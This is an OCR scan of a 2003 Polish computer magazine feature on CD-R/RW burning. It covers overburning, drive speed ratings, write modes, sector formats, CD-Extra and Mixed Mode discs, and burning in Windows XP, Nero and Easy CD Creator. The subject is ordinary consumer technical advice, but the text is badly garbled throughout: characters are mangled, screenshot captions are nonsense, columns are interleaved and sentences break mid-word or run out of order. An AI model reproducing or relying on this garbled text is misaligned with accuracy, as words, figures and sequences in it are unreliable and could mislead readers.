= jest mozliwa, poniewaz kazda ptyta CD-R/RW ma nieco
wydtuzony obszar zapisu - dodatkowe miejsce stuzy do
nagrania dobiegowki (lead-out) pomagajacej czytnikom
CD-ROM okresli¢, gdzie jest koniec ptyty. Kosztem skro-
cenia dobiegdwki nagrywamy troche wigcej danych uzyt-

Whitc position

Positinn: AFHR N0 Redative:

kownika @. Na standardowe nosniki 700 MB wcisniemy
dzieki overburningowi prawie 730 MB danych (czyli nie-
cate 83 minuty zamiast 80 minut muzyki), zanim laser
dotrze do krawedzi ptytki.

Dostepne w sprzedazy ptytki 800 MB i 870 MB najcze-
Sciej musimy nagrac rowniez z wykorzystaniem mechani-
zmu overburningu, gdyz z reguty nagrywarki rozpoznajg
te ptytki jako zwykte, o pojemnosci 700 MB. Podczas za-
pisu danych lub muzyki sami musimy dopilnowac¢, by
wypalany materiat miat odpowiednig objetosc¢.

12 x
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24x). Na szcze$cie, kupujac nowg
nagrywarke, nie musimy juz spe-
cjalnie martwic sie o jej kompaty-
bilnos$¢ z réznymi nosnikami.

Kazdy z producentow podaje
podstawowe parametry wydajno-
Sciowe napedu, najczesciej w po-
staci 48x/24x/48x @—

Oznaczenie to rozszyfrowujemy
W nastepujgcy sposob: urzadzenie
nagrywa ptyty CD-R (pierwsza licz-
ba) z maksymalng predkoscig 48x,
ptyty CD-RW (druga liczba) z mak-
symalng predko$cig 24x, natomiast
odczytuje ptyty CD z maksymalng
predko$cig 48x. Napedy combo
(DVD/CD-RW) majg jeszcze jedng
liczbe oznaczajaca predkosé odczy-
tu ptyt DVD.

Wybierajgc nagrywarke do swo-
jego komputera, nie sugerujmy sie
jedynie jej predkoscig. Tak napraw-
de zaden z dostepnych obecnie na-
peddw nie potrafi nagrac catej ptyty
ze Srednig predkoscia powyzej 16x.
Maksymalna predko$¢ zapisu, na
przyktad 40x, osiggana jest dopiero
pod koniec piyty.

Z tego powodu nagranie 700 MB
danych nie trwa dwie minuty, jak
wynikatoby z obliczen, tylko prawie
trzy. Minusem najwiekszych pred-
kosci wypalania okazuje sie takze
brak nosnikow CD-R o odpowied-

”

nika danych i co
najwazniejsze -

ogolna dostepnosé
tanich ptyt to przy-
czyna oszatamiajacego
sukcesu komputerowych

wypalarek

@Jak dziata mechanizm zapisujacy |

towica napedu CD-RW porusza sie na specjalnych szynach wzdtuz pro-
mienia ptyty kompaktowej. Pozwala to na sledzenie spiralnej sciezki
z danymi. Swiatfo lasera podczerwonego [] pada najpierw na ukfad luster
([, [1), a nastepnie jest ogniskowane na $ciezce przez ruchoma soczewke.
Niewielkie elektromagnesy sterujg potozeniem soczewki [, a tym samym
kierunkiem promienia. Soczewka ksztattuje promien do postaci stozka o sze-

rokiej podstawie

i ostrym korcu.
Dzieki temu $wiatto
omija zanieczyszcze-
nia i zadrapania dol-
nej powierzchni krgz-
ka []. Odbite swiat-
to wraca tg samg
droga, jego czes¢
przechodzi przez
potprzepuszczalne
zwierciadto[ ] i pada
na matryce z foto-
diod []. Tu nastepu-
je kontrola ognisko-
wania oraz detekcja
sygnatu podczas
odczytu.

nio wysokiej jakosci, wytrzymuja-
cych szybki zapis (powyzej 32x)
bez duzej liczby btedow.

Dlatego nie warto kupowac naj-
szybszych dostepnych na rynku
modeli (aktualnie 52x). Lepiej zde-
cydowac sie na nieco wolniejsza
nagrywarke o predko$ci 40x lub
48x firmy 0 uznanej marce. 0s0-
bom kupujacym nowy komputer
Ekspert poleca napedy typu combo
— potaczenie nagrywarki CD-R/RW
i odtwarzacza DVD. Obecna gene-
racja tego typu napedow oferuje
maksymalng predko$¢ nagrywania

rowng 32x, a wydajnos¢ odczytu
CD i DVD niewiele ustepuje konku-
rencyjnym modelom.

Coraz wigksza popularnoscig cie-
sz3 sie nagrywarki DVD. Niestety, s3
one jeszcze dosé drogie — najtansze
modele kosztujg okoto 1200 zto-
tych. Kolejng przeszkode w upo-
wszechnieniu sie wypalarek DVD
stanowi brak jednolitego standardu.
Konkurujg ze sobg nagrywarki DVD-
-R(W), DVD+R(W) i DVD-RAM.
Urzadzenia obstugujace wszystkie
wymienione formaty jednoczesnie
naleza do najdrozszych, zaptacimy



i

€D Audio - format Audio CD to prekursor dzisiejszych standardow zapisu
na ptytach CD. Oryginalnie przeznaczone tylko do przechowywania cyfrowo
zapisanej muzyki, szybko zostaty przystosowane do uzycia przez komputery.
CD-ROM - ptytki z danymi komputerowymi (gry, programy). Dane s3 zapi-
sywane w sektorach, a tymi zarzadza system plikdw.

CD-G, CD-Text - to rozszerzenie formatu CD Audio pozwalajgce na zapisa-
nie w specjalnych subkanatach niewielkich ilosci informacji graficznych lub
tekstowych. Przystosowane do tego odtwarzacze wyswietlajg na przyktad na-
zwe wykonawcy czy tytut utworu.

CD-ROM XA - opracowano specjalnie z myslg o zapisie danych multime-
dialnych.

CD-Extra - znane rowniez jako Enhanced CD, to ptyty nagrane z uzyciem
dwdch sesji. Pierwsza z nich stuzy do zapisu muzyki (maksymalnie 98 utwo-
row), druga zawiera standardowe dane binarne do odczytania w komputerze.
CD-i Bridge - to rozszerzenie CD-ROM XA stanowi podstawe dla ptyt
CD-i, Video CD i Photo CD.

CD-i - format opracowany dla interaktywnych odtwarzaczy multimedialnych.
Video CD - oraz Super Video CD stuzg do zapisu filméw w formacie
MPEG-1 lub MPEG-2 przeznaczonych do odczytu w stacjonarnych odtwarza-
czach (S)VCD lub na komputerze.

Photo CD - opracowany przez Kodaka format przechowywania wysokiej ja-
kosci zdje¢ w postaci cyfrowej, typowo 2048 x 3072 pikseli.

(0l Brldge

[
CD-ROM XA

m (0-G i CO-Text

za nie okoto 2000 zfotych, a czesto
wiecej.

Tryby zapisu ptyt )

Dane BC, gry, itp.

nie najwiekszego kontrastu pomie-
dzy pitem a landem (jasniejszymi

i ciemnigjszymi mikroskopijnymi
kropkami stuzacymi do kodowania
zer i jedynek). Im wigksze odchyle-
nie od optymalnej predkosci pod-

Nosnik nosnikowi
nierowny
By nagrywac, oprdcz samego

tyfikowane dla predko$ci 32x, 40x
lub nawet 48x nie muszg dobrze sie
sprawowac podczas zapisu z pred-
ko$cig 4x czy 8x. Pewne remedium
na to stanowi proces kalibracji mocy
lasera, przeprowadzany przez kazda
nagrywarke tuz przed rozpoczeciem
wypalania ptytki. Szkoda, ze produ-
cenci piyt podajg jedynie maksymal-
ng predkoS¢ zapisu, a nie optymalng
dla danego rodzaju nosnika...
Zdrowy rozsadek podpo-
wiada, ze najlepsze wyni-
ki jakoSciowe uzyskamy,
zapisujac ze Srednig
predkoscig. Predkos¢
16x gwarantuje nam jedno-
lity zapis na catej powierzchni
ptyty. Pamietajmy rowniez, ze
niektore starsze napedy
CD-ROM moga mie¢ problemy
z odczytaniem piyt zapisywanych
w trybie Z-CLV (z podziatem na
strefy o predkosciach 16x, 24x,
32x,...) objawiajace sie nagtym
spowolnieniem transferu z ze-
wnetrznych obszaréw dysku CD-R.
Nosniki wielokrotnego zapisu
(RW — ReWriteable) rowniez wyste-
puja w kilku odmianach. Najstarsze,
certyfikowane dla predkosci 2x i 4x,
juz wychodzg z uzytku, zastepowane
przez nowg generacje 0znaczong
CD-RW High Speed. Co ciekawe,
no$niki High Speed nie moga by¢
uzywane w nagrywarkach starego ty-
pu, obstugujacych predkosci 4x lub
2x dla ptyt RW, mimo ze s3 dopusz-
czone do nagrywania z minimaing

napedu CD-R/RW potrzebujemy
odpowiedniego czystego no$nika.
Ptyty zapisywalne przeszty podobng
ewolucije jak nagrywarki. Kolejne
generacje nosnikow CD-R musiaty
dotrzymac kroku przyspieszajgcym
napedom.

Substancja organiczna w ptytach
CD-R, na ktorej laser pozostawia
swoj Slad, w rozny sposéb reaguje
na wybrang szybkos$¢ zapisu danych.
Kazdy rodzaj nosnika CD-R lub CD-
-RW ma swoja optymalng predkosc
zapisu, przekfadajacq sie na uzyska-

Czas nagrywania —w gore lub w dot
— tym mniejszy kontrast i wigksze
prawdopodobienstwo wystgpienia
btedow. Z tego powodu nosniki cer-

a ] o » L] k) ] m
Maksymalna, podawana na obudowie
predkos¢ zapisu i odczytu napedy
osiggaja tylko pod koniec nagrywania
plyty na ostatnich sektorach ®
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predkoscig 4x. Jeszcze nowsze piyty
CD-RW Ultra Speed o dopuszczal-
nych predkoSciach 16x—24x nie
mogg by¢ uzyte w napedach
CD-R/RW High Speed o maksymal-
nej predkosci 10x. Putapki czekajg
na nas wszedzie.

Kolorowy zawrét gltowy
Dostepne w handlu czyste nosni-

ki CD-R réznych producentow cha-

rakteryzujg sie roznymi kolorami

spodniej warstwy @. Ostateczna

|

barwa wynika z rodzaju zastosowa-

Nego organicznego materiatu
Swiattoczutego, warstwy odblasko-
wej (aluminium, zfoto) oraz ewentu-
alnych barwnikow dodanych do pla-
stiku. Poniewaz laser generuje
Swiatto monochromatyczne, dla na- 3
grywarki (lub napedu CD-ROM) ko-
lor ptytki nie ma absolutnie zadnego
znaczenia. Natomiast wazna jest re-
fleksywnoS¢ danej
pytki: to, ile
procent
Swiatta
lasera
zostanie
odbite,
aile po-
chtonigte.
Poza tym la-
Ser pracuje w pasmie pod-
czerwieni i dla gfowicy odczytuja-
co/zapisujacej ptytka CD-R wyglada
zupetnie inaczej niz dla nas. Na
szczeScie nowe napedy DVD lub
CD-RW majg do$¢ duzg tolerancie
na wystepujgce odmiany nosnikow
i bez problemu radzg sobie prak-
tycznie z kazda ptytg CD-R.

@ Tryby zapisu ptyt

DAO - ang. Disk At Once - w trybie DAO cata ptyta zo-
staje nagrana bez wytaczania lasera napedu, w kolgjno-
Sci: obszar Lead-In (rozbiegdwka), obszar danych, obszar
Lead-Out (oznaczajacy koniec zapisu). Ze wzgledu na
brak przerw miedzy poszczegolnymi sciezkami tryb DAO
idealnie nadaje sie do zapisu ptyt CD Audio z koncertem
lub utworami ptynnie przechodzacymi jeden w drugi.

TAO - ang. Track At Once - nagrywarka zapisuje od-
dzielnie poszczegolne sciezki, z wytgczaniem lasera po
nagraniu kazdej z nich. TAO zostaje automatycznie uzyty
podczas wypalania ptyty z réznymi formatami sciezek
(na przyktad dane + CD Audio). Trybu TAO uzywamy
rowniez do nagrania ptyty CD Audio z oddzielnych plikow
WAV, pomiedzy utworami powstaje przerwa, najczesciej
dwusekundowa. Obszary Lead-In i Lead-Out sg zapisy-
wane dopiero na korcu procesu wypalania. Jesli nagry-
wamy ptyte z danymi, to tak naprawde nie ma znaczenia,
czy uzyjemy trybu DAO czy TAO.

SAO - ang. Session At Once - tryb ten nieco przypomi-
na DAO, poszczegdlne sciezki w ramach jednej sesji sg
zapisywane bez wytaczania lasera. Lecz w odréznieniu od
DAO, ktory zawsze zamyka ptyte, uniemozliwiajgc poz-
niejsze dogranie danych, SAO pozwala na dodanie na-
stepnych sesji.

i

Budowa ptyty CD

Dysk tloczony (od spodu): sktada sie z grubej
warstwy ochronnego plastiku [ ] (przezroczystego)

z wyttoczonymi od gory mikrosko-
pijnymi gérkami i dotkami uto-
zonymi w dtugg spirale. Na to
zostata natozona cieniutka
warstwa metalu odbijajaca
éwiatto lasera [ ]. Metal
jest przykryty warstwa
ochronng z nadru-

kiem [].

wtasciwosci po potrak-
towaniu laserem
o odpowiedniej
mocy, pozwalajac
na zapisanie da-
nych.

Dysk CD-R: charakteryzuje sie podobng kon-
strukgja, tylko zamiast ttoczen na

plastiku znajdziemy dodatkowa

warstwe barwnika organicz-
nego [ ]. Zmienia on swoje

Dysk CD-RW: zamiast warstwy barwnika orga-
nicznego, ktdry mozna nagrac tylko
raz, ptyty CD-RW majg specjalng
Swiattoczutg warstwe [ ]. Pod
wptywem silnego swiatta
staje sie ona matowa (nie
odbija $wiatta) lub
potprzezroczysta
(Swiatto odbija sie
od warstwy []).
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indows XP jako

pierwszy system

operacyjny Micro-
softu ma wbudowang obstuge na-
grywania ptyt CD-R/CD-RW. Jesli

agrywanie jest pro

Podstawowe zastosowanie napedow CD-RW to oczywiscie zapis danych kompu-
terowych. Ekspert pokaze, jak stworzyc wtasna ptytke z dowolnymi plikami

w komputerze nie ma innych pro-
gramow do wypalania ptyt, ta funk-
cjonalnos¢ moze okazac sig bardzo
przydatna. Ekspert pokazuje wiec,
jak nagrywa sie ptyty w Windows XP

Oczywiscie jesli mamy zainsta-
lowang inng wersje Windows, ko-
rzystanie z programu do nagrywa-
nia staje sie koniecznoscig. Dwa
najpopularniejsze narzedzia

do wypalania, dodawane w kom-
plecie z nagrywarkami CD-RW,
to Nero Burning Rom i Easy CD
Creator. Tutaj rowniez znajdziemy
wskazowki do tych aplikacji.

Zréb to w Windows XP

Ekspert rozpocznie od przedsta-
wienia do$¢ skromnych mozliwosci
nagrywania CD w Windows XP

1. Uruchamiamy Eksploratora
Windows i klikamy prawym przy-
ciskiem myszy na ikonke reprezen-

Urzadzenia 2 wymiennymi nosnikami

3 2.

Stacja Stacja dyshkdw
dyskictek ... DVDJCD-RMW
{F)
Z menu kontekstowego wybieramy

[Wizéawesa], W nowo otwartym
okienku przechodzimy na zaktadke

______________

Z jakg zostanie nagrana ptytka.
Jezeli dysponujemy jednym z naj-
szybszych obecnie modeli nagry-
warki, warto dla pewnosci zapisu
zmniejszy¢ jego predkosé do 16x
lub 24x

Ekspert radzi )

" Preferencie [El [z]

Ustawmenia ugdine | Pamid nwczssuea | Jeadk | Dévirki ve progiamie
| Ustawieria zaswansovane |

] Mic wysuwaj nodnika po zakofczeniu nagiywania

| Zezwalai na overbumning v tiybie DAD [czytaj uwagi ponized!])

Mencder plkén Okna didlogowe

Baza danych

Maks dhugnés T (9 | min [0 |2 U | ramki
I clwaa zapes nndrdoow L 1-HATIHW 7
ve e o

rantuje producent, czyli 650 lub 700 MB. By skorzystac
z overburningu i tym samym wcisna¢ na ptytke kilka me-
gabajtow wiecej, przechodzimy do menu Plik i klikamy
na Preferencje. W okienku konfiguracyjnym zaznacza-
my @, a tuz ponizej wpisujemy gorny limit overburningu.
Wstawienie liczby 95 minut da nam mozliwos¢ nagry-

wania takze ptyt o podwyzszonej pojemnosci 800 MB.

omyslnie skonfigurowany Nero nie pozwoli na zapi-
sanie na CD-R(W) wiekszej ilosci danych, niz gwa-
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2. W polu e ustalamy, na jakim
dysku Windows XP ma przecho-
wywac tymczasowe pliki tworzone
podczas przygotowywania danych
do nagrania. Jesli mamy tylko je-
den dysk zainstalowany w kompu-
terze (moze by¢ podzielony na
kilka partycji), pozostawiamy do-
mys$Ing opcje wykorzystania party-

Magrpwanie dyskaw CO 2 pulpitu

Zaznacz to pole wyboru, aby hagrpaad dy
przecigganie plikaw | folderdw na ikone CO
[#]'whacz nagrpwanie dyskéw CD na bej s

Wivbierz dysk, na ktarym spstem Windows
obraz dysku CD do zapizania. Plik obrazu
GE migjzoa na dysku,

Lyl

4

N Dysk lokalny [C) ¥

‘wiybierz szybkosd zapismaania, Wieksze g
czas zapizywania, ale jesli powodujs one B
mnigjsza szpbkosc.

b

M ajzzybszy
Majszpbszy
32

k CD po uko

cji C: na obraz ptyty CD — o ile
jesteSmy pewni, ze nie zabraknie
wolnego miejsca.

W przypadku, gdy w pececie ma-
my dwa dyski twarde, wybieramy
partycje znajdujacg sie na innym
dysku niz ten, z ktérego bedg po-

chodzi¢ pliki przeznaczone do za-
pisu na CD-R(W).

3. Wybor plikéw do nagrania
najtatwiej przeprowadzi¢, korzysta-
jac z Eksploratora Windows. Zazna-
czamy zadane pliki i foldery,
wciskamy prawy przycisk myszy

i w menu kontekstowym przecho-
dzimy do opcji e .

g |
Eksploruj
Obwirz
Browse With Paint Shop Pro 7
Wyszukaj ..

Udostepnianie i zabezpieczenia.

Wydlij do

LIl e
Nastepnie w podmenu klikamy na

Muoje dokurnenty
@ Pulpit {ubwdrz skrat)
M Stacia dyskistek 3,5 (40)

System zaczyna kopiowaé wy-
brane pliki do katalogu tymczaso-
Wego, na razie jeszcze nie dokonu-
jac fizycznego zapisu na ptycie CD-
-R(W). Gdy zakonczymy wybor pli-
kéw do nagrania, klikamy podwoj-
nie na ikonke nagrywarki w folderze
Moj komputer.

linii odpowiadajacej nagrywarce e .

1

[

4 . Widzimy zbior wybranych
przez nas danych. Naciskamy pra-
Wy przycisk myszy na biatym tle

i wybieramy e .

Pliki gntowe dn zapisania na dyskuo (D

3] = £

t Widok »
Arcturus -

'ng:r;‘:oﬁms Rozmiséd kony wadlug 3

Odsez

Pojawia sig pierwszy ekran kre-
atora, gdzie wpi-

Nazwa dyshu CD:
sujemy nazwe —
(etykiete) dla na- A
grywanej ptyty e--------- i

5. Jesli po weisnieciu
otrzymamy komunikat oznaczajacy
probe nagrania zbyt duzej ilosci da-
nych, zamykamy kreatora i usuwa-
my ¢zes$é plikow z folderu. Robimy
to bez obaw, Windows XP usunie
dokumenty tylko z katalogu tymcza-
SOWego, pozostawiajgc nienaruszo-
ne dane na partycji zrédtowe;j. Po
dokonaniu zmian uruchamiamy
kreatora ponownie.

Wada wbudowanego zapisu
w Windows XP jest wielokrotne ko-
piowanie tych samych danych do
folderu tymczasowego, a nastepnie
do obrazu dysku, co znacznie spo-
walnia proces nagrywania.

W Nero hez problemu

1. Nero domysinie uru-
chamia sig w trybie kreato-
ra— rezygnujemy z jego
my standardowy interfejs
programu, ktory pozwoli
nam na lepszg kontrole

‘wiybiorz T alef. aby konlynuovad.

| [ ootz | amki |

nad procesem wypalania.

2. W olic -

ustalamy rodzaj
tworzonej ptytki —
zaznaczamy do-
my$Ing opcje e-:
Zaktadka o nazwie
|0dE sesi ha phytce
stuzy do okresle-

nia sposobu zapi- | | "™t
Su ptyty — kolejne
0pcje 0znaczaja:

4
E
=
o
=]

®

®

%‘f i &




| Inh:lrmac|a| ling: sesii na piviee | Upce 15U | Ug

s sesii na phyloe
O Utwinz dysk 2 vieloma sesiani
3 Kontynuu istnieigcy dysk wielosesying

[] @ Poiedncza sesia <€

[ Pozwala na rozpoczecie nowej
piyty, na ktdrg nagrywamy sto-
sunkowo mato danych (niewypet-
niajacych catej dostepnej prze-
strzeni na CD) z myslg o pdzniej-
szym dograniu drugiej (lub dal-
szych) sesji z danymi — az do
wykorzystania pojemnosci piyty.

my overburning lub skorzystamy
7 trybu DAO.

Aby stworzy¢ ptyte z danymi,
ktdrg bez problemu odczytamy na
wszystkich odtwarzaczach CD-ROM,
postuzymy sig pojedynczg sesjg e
i trybem DAQ. i

Dysk z wieloma sesjami nie mo-
ze by¢ nagrywany w trybie DAO.

3. Zakiadka pozwala
na okreslenie szczegotow sposobu
zapisu systemu plikow na ptycie.
Opcje mozemy z powodzeniem zo-
stawi¢ z ich domysinymi ustawie-
niami. Warto upewni¢ sig jednak,
czy wigczona jest opcja e, dzieki

[ Stuzy do dodania kolejnej sesji
na wezesniej rozpoczetej ptycie
z wieloma sesjami. Uwaga!
Kazda sesja powoduje utrate
okoto 13 MB z dostepnej po-
jemnosci CD, dlatego nie warto
uzywac zapisu wielosesyjnego
dla niewielkich por-

temu pliki i foldery na CD zachowa-
ja swoje dtugie nazwy. Joliet to roz-
szerzenie standardu 1IS09660 opra-
cowane przez Microsoft z my$la

0 dtugich nazwach wprowadzonych
po raz pierwszy w Windows 95

(w przypadku ptyt CD pozostaje

ograniczenie do 64 znakow). Wazne
sq takze opcje z grupy e, kiore

TR B s Smprems ke Oew e
v aFEURL T W

SF U O

zostafy opisane w ramce Format
sektordw trybu 1 i 2 na tej stronie.

w Eksploratorze Windows. ¥

-
Irdoamescn | Mot sasp na plhytes []rrpl!;l]:-n—ﬁmi 11|

| 150 960 v

k[ NOWYT

Aiplikacia .NERD_BURMINB_RDH
Pk ponvo suceskich |
Pl spiu 2awmstndc |
Pl bebograli |

] [l standaedia J oot sy sdwmins tedcatu IS0 650

Chcac wykorzysta¢ duze i mate li-
tery, usuwamy zaznaczenie z opcji e

i wybieramy [Jaliet].

6. Na koniec Klikamy na s . Pro-
gram wySwietla dwa okna e : lewe

nformacia " llods zcsji na phytec

T} Opie piyty | Daty | 114

¢ji danych. W takim
wypadku Ekspert

poleca wykorzysta-
nie pakietowego za-

(&) Paziom 1150
) Paziom 2150

[ibugosé nazw plikudkatalogu

I” Fomnat \|I
[maks. to |1 =8+ 3 znaki] E & Tiyh 1 :
(maks. to 31 znakém) | OTgboms |

\,

Zestaw znakave

pisu danych (patrz
strona 29).
Uzywamy, gdy
chcemy wypali¢ ca-
13 ptyte, facznie z jgj
zamknigciem. Tylko
w tej opcji wigczy-

O ascil

(&) 150 9660 (O DOS

Fominiscie ograniczen 150

Zezwala na zaghebienie fciefek wicksze niz B katalogdw
Frrwala] na wiere] niz 2RA 7nakie w friedne

[] Mic dodawaj do wersii plilku rozszcrzenia 1" 150

FPowstanie te2 dugi deskrptar
dyslou i shuldura katalogdwe
wrrthig standardu HINICTNE

5.0 wprowadzeniu danych

pokazuje przyszta zawartosSc ptyty
CD-R(W), prawe stuzy do przegla-
dania zawartosci dyskow. Pliki
przeciggamy z prawego do lewego
okna. Wypalanie rozpoczynamy, Kli-
kajgc na przycisk z belki na-
rzedziowej Nero Burning Rom.

identyfikujacych ptytke przecho- 1 | uesieisu | upspiyy | Doty |1 | Zopis B0 [ How
dzimy na zakladke [Zapis]. Upew- & | oasiane ok
niamy sie,l ze opcje o_sg wiaczo- \D i oo g
e, natomiast s wylaczona. Wy~ +-perzeieraroi

bieramy predko$¢ nagrywania e P EZnkei G0 - ponanny zape plyiris ez ol

oraz ustalamy metode zapisu na Pl s bo= et (LA KR v
Disc-At-Once. Opcja e pojawia Wietcxba iy [Dischtoce ¥

sie, jesli nagrywarka ma jeden Liczba kapi ‘_"Iﬂfm-wm

Z systemow zapobiegania wyste- Lt s e o

powaniu btedu buffer underrun. R O s

Easy znaczy

1. Przygotowanie ptytki z danymi
do wypalenia w Easy CD Creatorze
przypomina nieco sposob postepo-
wania w Nero. Gféwne okno aplika-
~ Cji e zostato podzielone na dwie
czesci: gorng z widokiem na dyski
w komputerze i dolng z zawarto$cia

proste

niamy sie, ze CD zapisze rowniez

piyty. Pliki i foldery do wypalenia
przeciggamy z gory na dot.
!P

3

2. Nowa plyte

z danymi tworzymy, J N} =
Klikajac na strzatke ||

! co
obok przycisku e~ R s
i Wybierajac e------" || ofme

3. Opcje formatu CD sg umiesz-
czone inaczej niz w Nero. Wyswiet-

diugie nazwy plikéw w systemie V] Nagiowek | B A:1 Naglowek | V-] Nagtowek |
Joilet o 5. Wypalanie XS] Naotowek 2 8B
CD-R(W) urucha-
4. Ustawienie o przydaje sie pod-  miamy przyciskiem: | | 20488 e E
czas dogrywania kolejnych sesji do 2324 B
dysku wielosesyjnego, dzieki niemu 48 I
_ : CLY Nieuiywane | SERPY-Y  EDCE |
276 B 276 B
""""""""" ~
@wume Labet |Dane * — ang. Error Detection Code — kod wykrywajacy btedy w zapisie
Type: Data CD ** _ ang. Error Correction Code - kod korekji btedow
File System:  [JOLIET <€--7 ¥
el Ll D ane na ptytach CD s3 zapisywa- 2048 bajtow na dane uzytkownika.
Contains: 952 Files, 53 Folders ne w sektorach o rozmiarze 2352  Tak wyglada sektor trybu 1 (ang.
Used Space: 132128 768 bytes 126.01ME bajtow. Noén'ik D z?s'ta’r oryginalnie  Mode T). Sektory Frybu 2 (ang. .
g opracowany jako nosnik dla danych Mode 2) wystepujg w dwdch odmia-
PUMIZAt0ON

nie znikng dane

@ Format sektoréw trybuli 2

z poprzednich sesji.

Dla dysku z danymi
12B

TRYB1

Synchronizacja

TRYB 2 Forma 1
12B

TRYB 2 Forma 2
12B

Synchronizacja Synchronizacja

& Preserve nomal file ordering
V' Single data track only

' Re-order files to maximize CO creation spd

" Re-order files to masimize usable CD spac

audio - dopiero podczas dostosowy-
wania go do przechowywania danych
komputerowych okazato sie, ze za-
ed chodzi potrzeba zastosowania dodat-
& kowej korekgji bteddw. Kilka tysiecy

™ Automatically verify File Spstem

zmienionych bitdw podczas odtwa-

V' Automatically import previous FESH0N

rzania muzyki umknie naszej uwagi,
natomniast tylko jeden zty bit w pro-

& Mode 1: COROM €

gramie to katastrofa. Czes¢ z pojem-

" Mode 2: COROM =4

nosci sektora przeznaczono na dodat-
kowe dane umozliwiajgce poprawienie

lamy je po kliknigciu na e . Wpisu-
jemy etykiete e dysku oraz upew-

0K

Anuluj

przektamanych bitéw w odtwarzaczu
CD-ROM, pozostawiajac okragte

Pamoc

BT CZERWIEC - LIPIEC 2003

nach: Form 1i Form 2. Pierwsza z nich
odpowiada trybowi 1z niewielkg rézni-
ca: z niewykorzystanych 8 bajtow
utworzono dodatkowy nagtowek, stu-
z3cy gtownie do identyfikacji rodzaju
nagranych danych (binarne, audio, wi-
deo). Druga zostata przeznaczona do
zapisu danych o mnigjszej wrazliwosci
na btedy: strumienie audio, wideo
MPEG-1, MPEC-2. Wieksza pojem-
nosc (2324 bajtéw na sektor) osigg-
nieto, rezygnujac z dodatkowego kodu
korekcyjnego.




ormaty

ultimedialne

ozliwos¢ odtwarzania tej
wielu rodzajach odtwarzaczy przydaje sie
zczegolnie wtedy, gdy chcemy zmaksyma-
lizowaé potencjalna grupe odbiorcéow

oraz czesciej spotykamy

na rynku ptyty muzyczne,

ktore po wtozeniu do na-
pedu komputera odkrywaja przed
nami catkiem nowg zawarto$c. Z re-
guty sg to dodatki wideo: teledyski,
fragmenty koncertu w formacie AV
lub MPEG. Spotykamy takze atrak-
cyjne prezentacje multimedialne
przedstawiajgce historie grupy, dys-
kografie, teksty piosenek. Podstawo-
we oprogramowanie dotaczane do
nagrywarek pozwala na samodzielne

samej plyty

stworzenie wtasnego CD-R(W) z za-
warto$cig réznego formatu. Istniejg
dwie drogi prowadzgce do tego sa-
mego celu: Mixed Mode CD @

i CD-EXTRA @. Obydwa formaty

znajdziemy wsrod oferowanych ro-
dzajow kompilacji w programie Ne-

ro — Burning Rom.
@

CD ExTRA

tived Mode
Co

Mixed Mode

Z ptytami Mixed Mode wiek-
$20$¢ uzytkownikow peceta
Z pewno$cig miafo juz do czynie-
nia. Stanowig one najprostszy spo-
s0b na taczenie danych i muzyki.
Format Mixed Mode uzywany jest
czesto do dystrybucji gier ze Sciez-
kg dzwiekowg o wysokiej jakoSci.
(Gra odtwarza poszczegdlne utwory
w zalezno$ci od stanu rozgrywki,
uzywajac napedu CD-ROM podta-
czonego do karty dzwiekowe;.
Mixed Mode CD skfada sig z tyl-
ko jednej sesji, w ktorej pierwsza
$ciezka przenosi dane komputero-
we, a nastepne sg $ciezkami audio.
Ten sposob taczenia roznego rodza-

ju danych na ptytce sprawiaf na
poczatku nieco problemaéw: niekto-
re starsze stacjonarne odtwarzacze
CD probowaty odegraé pierwszg
Sciezke, co konczyto sie chrobotem
w kolumnach. Przy do$¢ gtosnym
ustawieniu wzmacniacza zdarzaty
sie uszkodzenia gtosnikow.
Nagrywanie Mixed Mode CD
w Nero odbywa sie w sposob analo-
giczny jak ptyt z danymi i ptyt
Audio CD. Lewe okno z zawarto$cig
piyty sktada sig z dwoch czesci:
gornej przeznaczongj na dane kom-
_puterowe @ i dolngj, do ktorej prze-
ciggamy utwory w formacie WAV
lub MP3 @:

CD-EXTRA
c iekawszy od Mixed Mode
jest format CD-EXTRA, znany

takze pod nazwa Enhanced CD lub
CD Plus. Piyta CD-EXTRA jest

z definicji ptyta wielosesyjna. Naj-
czesciej skiada sie z dwach sesji:
pierwszej mieszczacej jedng lub

wigcej Sciezek audio @ (maksy-

\PICTURES

LACKETO1.00A
JACKETO1.00J
JACKETON 0L
JACKETO1.00P
JACHETO2.004
JACKETOZ 00
JACKETO2.00L
< »

Stlnd Tiluk
1

Czas twa Oidsten | Fillry
063017 0007 00
053807 000700
063710 G0:0200
06:03.62 60:0200

Maridian |

Sigter Nighttaa
3 OnTheVane
4 InAManica

malnie 98) i drugiej z danymi. Sesji
zawierajacych dane komputerowe
moze byC wiece;.

W ramach drugiej sesji na ptycie
CD-EXTRA obowigzkowo muszg wy-

0 plycie, a dodatkowo na przyktad
teksty piosenek, utwory w formacie
MIDI,

o folder PICTURES zawierajacy
pliki graficzne (zdjecia, obrazki)
skompresowane w formacie MPEG
lub innym,

@ opcjonalny folder DATA z do-
datkowymi danymi.

Program Nero samoczynnie ge-
neruje wymagane foldery podczas
tworzenia kompilacji. Wprowadzamy
jedynie wymagane informacje, po-
sfugujac sie do tego celu oknem wi-
doku ptyty. Po podwojnym Kliknieciu
na wybranej $ciezce widzimy dodat-
kowg zakfadke @. Informacie wpro-

Pt ——————

wadzone na niej zostang skonwerto-
wane i umieszczone w odpowied-
nich katalogach CD-EXTRA. Dotyczy
to takze plikow graficznych, ktore
dodajemy przyciskiem @, docelowo
zqr:u’dq sie w folderze PICTURES.
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@ plik AUTORUN.INF [ emsseemss] SRR liokkey. parscn pot | iy

zgodny z systemem au- b PLPolsnd )

tomatycznego startu gl B e

piyt CD w systemach S = e
Windows, e P

o folder CDPLUS, Data womorzeris Ok Kstosioto
w ktorym aplikacja do D wpoeia Rodei
nagrywania umieszcza b at
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@ Subkanaty )

szystkie sektory ptyty CD

(2352 bajtow z kodem korek-
cyjnym) s3 podczas zapisu uzupet-
niane 96 bajtami przenoszacymi
dodatkowe informacje. Dane te ma-
ja charakter szeregowy: kazdy bajt
przenosi po jednym bicie z subka-
natéw oznaczonych literami P, Q,
R, S, T, U, V, W. Subkanatom
przypisano konkretne znacze- I 1

nie:

® kanat P wskazuje pocza-
tek Sciezki poprzez zmiane

wartosci bituz O na 1.

® kanat Q przechowuije in-
formacje o aktualnym cza-
sie sciezki, numerze ISRC, nu-
merze katalogowym nosnika, ro-
dzaju Sciezki oraz (w obszarze
lead-in) zawartos¢ tabeli TOC.

______________

Informacje subkanatowe na ptycie
700 MB to nieco ponad 33 MB do-
datkowych danych, niedostepnych
bezposrednio. Z uzytkowego punktu
widzenia najprzydatniejszym sposo-
